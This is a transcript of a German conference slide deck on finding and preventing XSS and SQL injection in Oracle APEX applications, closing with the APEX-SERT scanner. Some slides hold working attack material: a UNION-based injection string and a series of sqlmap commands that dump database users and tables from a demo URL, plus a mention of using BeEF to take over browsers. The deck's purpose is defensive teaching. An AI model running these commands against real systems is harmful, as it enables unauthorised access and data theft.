+ All Categories
Home > Documents > How to hack your Apex App - doag.org · WARUM SIND SO VIELE ANWENDUNGEN UNSICHER? ist ja nur intern...

How to hack your Apex App - doag.org · WARUM SIND SO VIELE ANWENDUNGEN UNSICHER? ist ja nur intern...

Date post: 12-Aug-2019
Category:
Upload: phamdien
View: 213 times
Download: 0 times
Share this document with a friend
35
HOW TO HACK YOUR APEX APP NATÜRLICH NUR ZU TESTZWECKEN ;) Anja Hildebrandt
Transcript

HOW TO HACK YOUR APEX APPNATÜRL ICH NUR ZU TESTZWECKEN ; )

Anja Hildebrandt

ÜBER MICH

� 1998-2005 Studium Informatik

� Oracle seit 2001

� APEX (HTMLDB) seit 2004

� Blog: apex2rule-the-world.blogspot.com

� Twitter: @anjeli2001

„Security is hard.If it‘s easy, your not doin‘

it right.“

WARUM SIND SO VIELE ANWENDUNGEN UNSICHER?

� ist ja nur intern

� das kriegen die User eh nicht raus

� geht ja nur um unwichtige Daten

� nicht genug Zeit

� ist nur eine kleine Anwendung

� ist nicht meine Aufgabe

REZEPT FÜR DIE KATASTROPHE

Anwendung soll möglichst schnell in Produktion gehen

+

Wir haben zu wenig Zeit

Die Anwendung hat mit hoher Wahrscheinlichkeit Sicherheitslücken, die wir einfach fixen könnten, wenn wir

sie finden würden und die Zeit dazu bekämen.

DIE ANDERE SEITE� Angriffe passieren nicht nur von

außen� Angegriffen werden nicht nur

Seiten, die auf den ersten Blick die „fette Beute“ versprechen

� Social Engineering nicht unterschätzen

DIE TOOLS – BEISPIEL: KALI LINUX

� auf Debian basierende Linux-Distribution, die auf Sicherheits- und Penetrationstests spezialisiert ist

� frei verfügbar

� enthält mehr als 600 Tools

XSS - CROSS SITE SCRIPTING

� bezeichnet das unauthorisierte Ausführen von Code in einer Webanwendung− Referenz oder Code selbst wird in die Datenbank geschrieben

− Werden bei der Anzeige Sonderzeichen nicht escaped, wird somit der Code ausgeführt, statt nur angezeigt

� APEX Beispiel:− zusätzlich zum Departmentnamen soll in der selben Zelle, aber in 2. Zeile die Anzahl der zur Abteilung gehörenden Mitarbeiter

angezeigt werden

�Einfache Lösung: <br/>, aber der Code wird angezeigt, statt ausgeführt

�Attribut „Escape Special Characters“ auf no gesetzt und schon klappt es

�Done!!! ☺

BEEF

� BeEF - Browser Exploitation Framework

� nutzt XSS zur Übernahme des Browsers eines Opfers

DEMO

BEEF

BEEF

BEEF

XSS VERHINDERN

� niemals Escaping auf Reportspalten ausschalten− falls es doch nötig ist, genau überprüfen, woher die Daten kommen und ggf. APEX_ESCAPE nutzen

� immer APEX_ESCAPE nutzen when HTML via htp.p oder htp.prn ausgegeben wird

� Achtung bei Application Items, die als HTML ausgegeben werden − werden nicht per default escaped

SQL INJECTION

Quelle: https://xkcd.com/327/

ANGREIFBARE ANWENDUNG

� es genügt EINE SQL Injection Schwachstelle, um das Tor zum DB System für einen Angriff weit zu öffnen

� Beispiel:

select dname, deptno

from dept

where dname like '%&P1_MATCH.%‘

� Benutzung der &ITEM. Syntax ermöglicht das ändern des SQL Statements

select dname, deptno

from dept

where dname like '% ' union all select ename, sal from emp where ename like ' %'

SQL MAP MACHT‘S MÖGLICH

“open source penetration testing tool that automates the process of detecting andexploiting SQL injection flaws and taking over of database servers”

• Command Line Tool, das auf Angreifbarkeit durch SQL Injection prüft und diese ausnutzt

• unterstützt die meisten bekannten Datenbanken� MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB

& Informix

VORRAUSSETZUNGEN

https://apex.oracle.com/pls/apex/wwv_flow.show?p_flow_id=76668&p_flow_step_id=1&p_instance=&p_arg_name=P1_MATCH&p_arg_value=ACC

wwv_flow.show

AUFRUF VON SQLMAP

sqlmap

-u "https://apex.oracle.com/pls/apex/wwv_flow.show?p_flow_id=76668

&p_flow_step_id=1

&p_instance=0

&p_arg_name=P1_MATCH

&p_arg_value=ACC"

--batch

--dbms Oracle

-p p_arg_value

--flush-session

WEITERE AUFRUFE

sqlmap -u "<url>" -b --current-user

sqlmap -u "<url>" -b --schema --stop=25

sqlmap -u "<url>" -D doag2018 --stop=25 --sql-query="select username from all_users“

sqlmap -u "<url>" -D doag2018 -T demo_customers --dump

sqlmap -u "<url>" -b --tables --stop=10

sqlmap -h

sqlmap -hh

Bei Seiten mit Authentifizierung…

--cookie "<name> = <value>"

DEMO

UND NUN?

SQL INJECTION VERHINDERN

� möglichst überall &ITEM. Syntax vermeiden

� Vorsicht bei der Verwendung von EXECUTE IMMEDIATE und DBMS_SQL− wenn Parameter vom User beeinflusst werden können, dann immer die Eingaben prüfen

� nur Tabellen und Spalten freigeben, die für die Anwendung nötig sind

� unnötige Berechtigungen entfernen, um DDL zu vermeiden

� SQL Injection umgeht die meisten APEX basierten Sicherheitsmechanismen

� Logs überprüfen− SQLMAP hat spezifischen User Agent: sqlmap/1.2.3.4#dev (http://sqlmap.org)

PUUUH….

APEX-SERT

� ehemals eSert (kommerziell)

� Evaluierungstool

� APEX Anwendung zur Evaluierung und Identifizierung potentieller Sicherheitsprobleme in anderen APEX Anwendungen

� verfügbar für 4.2, 5.0 und 5.1

� einmal installiert, kann es von allen Workspaces genutzt werden

� Open Source

WIE FUNKTIONIERTS?

� untersucht Metadaten der Anwendung nach möglichen Sicherheitslücken

� Ergebnis ist eine interaktive APEX Anwendung, die es auf einfache Weise möglich macht, Probleme zu finden und zu beheben

� zeigt deutlich auf, welche Bereiche problematisch sind und bietet direkten Link zur entsprechenden Einstellung

WELCHE PROBLEME WERDEN GESUCHT?URL

Tampering

ApplicationSettings

Page Settings

Cross Site Scripting

SQL Injection

KOMPLETTER SCAN

� ALLE Komponenten werden untersucht� unabhängig von Condition und Authorization

� kann mit einer Liste von gültigen Werten und Regeln vorkonfiguriert werden

„Security ist kein Produkt,

sondern ein Prozess.“

FORTLAUFENDE EVALUIERUNG

� Ergänzung von Ausnahmeregeln für die Erkennung von „false positives“ und akzeptierbaren Risiken� alle definierte Ausnahmen müssen bestätigt werden

� werden Ausnahmen geloggt, werden auch die Werte der entsprechenden Attribute geloggt� ändert sich ein Wert, muss die Ausnahme neu bestätigt werden

DEMO

ZUSAMMENFASSUNG

� SQL Injection & XSS sind in fast jeder Sprache möglich

� meistens werden Risiken (unabsichtlich) durch Entwickler verursacht

� wenn richtig verwendet, ist APEX eine der sichersten Entwicklungsplattformen

� Verwendung von Evaluierungstools wie etwa APEX-SERT und Einhaltung von Security Best Practices sichert weitreichende Minimierung von Risiken

ZUSAMMENFASSUNG

Mit APEX-SERT …

… hat man keine Ausrede mehr, die Sicherheitsprobleme nicht anzugehen.

� kann in wenigen Minuten installiert werden

� vollständig integriert in APEX Builder

� einfach zu verstehen und anzuwenden

� Evaluierung kann automatisiert werden

� keine Lizenzkosten

LINKS

�https://github.com/OraOpenSource/apex-sert

�http://oraopensource.com/apex-sert

�https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/

�https://www.python.org/downloads/

�http://sqlmap.org/

�https://github.com/sqlmapproject/sqlmap

KONTAKT

[email protected]

@anjeli2001


Recommended